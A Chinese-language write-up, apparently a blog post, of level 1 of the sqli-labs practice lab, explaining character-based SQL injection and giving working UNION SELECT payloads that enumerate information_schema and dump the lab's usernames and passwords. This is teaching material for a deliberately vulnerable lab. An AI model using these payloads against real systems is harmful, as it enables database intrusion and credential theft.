目录
sql注入是什么?
sqli-labs第一关--字符型注入
思路:想要利用连表查询
进一步思考如何逃脱单引号
如何知道表的列数
最终目的:注入管理员账号密码
sql注入是什么?
注入:都是合理合法的MySQL执行语句
产生的原因:对于输入没有做过滤,导致意外的查询语句进到了程序中,查询出来了本不应
该查询的数据
sqli-labs第一关--字符型注入
less-1初步的理解
没有任何障碍,没有过滤函数,简单的接收参数,查询数据库,然后展示到前端
代码存在的问题:对于用户的输入没有做任何过滤
MySQL连表查询:保证字段数的一致,创建临时表保证字段一致
建立一个商品表

更改相关代码

访问gid=1的信息

思路:想要利用连表查询
如果直接输入1 union select 1,2,3
而代码中呈现的是 gid=' 1 union select 1,2,3 '
由于数据库纠错机制会删掉后面的 'union select 1,2,3' 所以执行的还是gid='1'

思路结论:没有逃脱单引号的控制
进一步思考如何逃脱单引号
进行闭合单引号---->直白点就是加单引号的方式逃脱单引号
如果 输入 1' union select 1,2,3 代码呈现:gid='1' union select 1,2,3 '
1、单引号成对出现
2、多出的单引号的处理思路:a.将单引号闭合b.将单引号注释掉
尝试gid=' 1 ' # '

urlencode地址传参#会进行编码 #未编码的原因
urlencode编码规范 先转ascli码再转16进制

#的urlencode编码是%23
替换成%23 成功
单引号逃脱解决
进行连表查询需要表的列数
如何知道表的列数
利用order by检测列数:输入 1' order by 1%23
--+ 也可以注释
问题:而+和空格的关系
原因:当使用URLEncoder时,会发现字符串中的空格被转换成“+”号,如果编码后的内容入库后,
将导致读取时,前段本来是空格的地方,会显示成“+”号字符。
URLEncoder.encode方法是基于application/x-www-form-urlencoded MIME格式进行编码 的。这种编码方式最初是为了在HTML表单中提交数据而设计的。根据这种编码方式的规 定,空格字符会被替换为“+”号。
这种替换的原因主要是出于简化编码和节省空间的考虑。在表单提交中,空格是非常常见 的 字符,而将其替换为“+”号可以有效地缩短编码后的字符串长度,减少数据传输量。
使用1' order by 4%23 代码中为gid='1' order by 4%23'

使用 1' order by 3%23 代码中为gid='1' order by 3%23'

进而得出表的列数
尝试gid='1' union select 1,2,3--+'
 
  
没变化的原因是呈现只显示第一表
让第一个表为空 gid为没有的值
gid='11' union select 1,2,3--+'

而2,3可以替换成mysql查询的库和用户
gid='1111' union select 1,user(),database()--+'
得到当前的用户和数据库名

最终目的:注入管理员账号密码
在MySQL上的思路
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| sys                |
+--------------------+
mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
mysql> select table_name from tables where table_schema='security';
+------------+
| table_name |
+------------+
| emails     |
| goods      |
| referers   |
| uagents    |
| users      |
+------------+
mysql> select column_name from columns where table_schema='security' and table_name='users';
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
+-------------+
mysql> select username,password from security.users;
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+
利用group_concat()将查询结果连起来
-1'union select 1,2,group_concat(table_name) from information_schema.tables --+

-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

-1' union select 1,2,group_concat(username ,id , password) from users--+















![[flink]部署模式](https://i-blog.csdnimg.cn/direct/de368a824de2490cb5d56e8c9446eb77.png)




